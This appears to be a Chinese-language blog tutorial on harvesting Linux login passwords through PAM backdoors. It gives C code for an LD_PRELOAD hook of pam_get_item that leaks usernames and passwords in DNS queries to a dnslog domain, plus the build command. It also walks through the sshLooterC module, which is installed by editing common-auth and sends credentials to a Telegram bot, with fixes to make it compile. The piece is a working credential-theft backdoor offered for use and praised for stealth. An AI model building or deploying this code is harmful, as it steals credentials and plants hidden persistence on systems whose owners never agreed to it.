LD_PRELOAD 劫持收集密码

在不动so的情况下我们也可以使用类似LD_PRELOAD的方式来劫持相关认证函数,在劫持的函数中对凭证进行带外收集,最后再调用正常的认证函数即可。而@TheXC3LL没有细说为什么劫持pam_get_item函数的原因,查下资料,先来看看pam_get_item函数:

(https://www.man7.org/linux/man-pages/man3/pam_get_item.3.html)

NAME         top       pam_get_item - getting PAM informationsSYNOPSIS         top       #include <security/pam_modules.h>       int pam_get_item(const pam_handle_t *pamh, int item_type,                        const void **item);DESCRIPTION         top       The pam_get_item function allows applications and PAM service modules       to access and retrieve PAM informations of item_type. Upon successful       return, item contains a pointer to the value of the corresponding       item. Note, this is a pointer to the actual data and should not be       free()'ed or over-written! The following values are supported for       item_type:

可以看到pam_get_item 是用来让应用和pam服务模块去获取PAM信息的,查看手册定义发现当item_type参数为PAM_AUTHTOK时

使用pam_sm_authenticate() 和pam_sm_chauthtok()会传递身份令牌(一般是密码)和包含密码,这里传递了密码凭据:

PAM_AUTHTOK           The authentication token (often a password). This token should be           ignored by all module functions besides pam_sm_authenticate(3)           and pam_sm_chauthtok(3). In the former function it is used to           pass the most recent authentication token from one stacked module           to another. In the latter function the token is used for another           purpose. It contains the currently active authentication token.

手册末尾也说明了获取用户名使用pam_get_user()、并且当是服务模块的时候才可以读取认证凭据。

If a service module wishes to obtain the name of the user, it should       not use this function, but instead perform a call to pam_get_user(3).       Only a service module is privileged to read the authentication       tokens, PAM_AUTHTOK and PAM_OLDAUTHTOK.

所以我们劫持pam_get_item即可收集凭据。

劫持后的pam_get_item函数,orig_ftype定义为dlsym返回动态链接库的函数指针即原pam_get_item函数,调用原函数后在最后发送dns请求:

typedef int (*orig_ftype) (const pam_handle_t *pamh, int item_type,  const void **item);int pam_get_item(const pam_handle_t *pamh, int item_type, const void **item) {    int retval;    int pid;    const char *name;    orig_ftype orig_pam;    orig_pam = (orig_ftype)dlsym(RTLD_NEXT, "pam_get_item");    // Call original function  so we log password    retval = orig_pam(pamh, item_type, item);    // Log credential    if (item_type == PAM_AUTHTOK && retval == PAM_SUCCESS && *item != NULL) {        unsigned char hostname[256];        get_dns_servers();        pam_get_user((pam_handle_t *)pamh, &name, NULL);        snprintf(hostname, sizeof(hostname), "%s.%s.qing.dnslog.cn", name, *item); // Change it with your domain        if (fork() == 0) {            ngethostbyname(hostname, T_A);        }    }    return retval;

root@qing:~# vim pam_door.c
root@qing:~# gcc -fPIC -shared pam_door.c -o qing.so
root@qing:~# ll qing.so
-rwxr-xr-x 1 root root 17624 Jun 12 08:13 qing.so

这种好处虽然也是用pam做后门但是不用去动认证文件以及每次收集使用dns带外,动静更小隐蔽性更好一些。

使用pam_get_item 获取密码还可以参考这篇:https://www.redhat.com/archives/pam-list/2004-November/msg00038.html

sshLooterC

sshLooterC也是用pam_get_item来获取密码,只不过是改的/etc/pam.d/common-auth使认证成功时调用恶意的so:

Copy the looter.so to the infected machine on /lib/security, then edit the /etc/pam.d/common-auth and add the following lines.

auth optional module.soaccount optional module.so

将密码带外则是用的libcurl来带外:

void sendMessage(char (*message)[]) {  char url[500];  char data[200];  //INSERT HERE YOUR BOT KEY  char token[200] = "BOT TOKEN";  //INSERT HERE YOUR USER ID  int user_id = 1111111;  snprintf(url,600,"https://api.telegram.org/bot%s/sendMessage",token);  snprintf(data,300,"chat_id=%d&text=%s",user_id,*message);  CURL *curl;  curl_global_init(CURL_GLOBAL_ALL);  curl = curl_easy_init();  if(curl) {    curl_easy_setopt(curl, CURLOPT_URL, url);    curl_easy_setopt(curl, CURLOPT_POSTFIELDS,data);     curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);    curl_easy_perform(curl);  }  curl_global_cleanup();}

使用这个项目时候有点bug,添加下函数声明:

//添加函数声明int pam_get_authtok(pam_handle_t *pamh, int item, const char **authtok, const char*prompt);PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, constchar **argv ) {const char* username = NULL;const char* password = NULL;const char* prompt = NULL;char message[1024];char hostname[128];retval = pam_get_user(pamh, &username, "Username: ");//获得密码pam_get_authtok(pamh, PAM_AUTHTOK, &password, prompt);if (retval != PAM_SUCCESS) {return retval;}gethostname(hostname, sizeof hostname);snprintf(message,2048,"Hostname: %s\nUsername: %s\nPassword:%s\n",hostname,username,password);sendMessage(&message);return PAM_SUCCESS;}

最后改下接收地址,make编译替换写入即可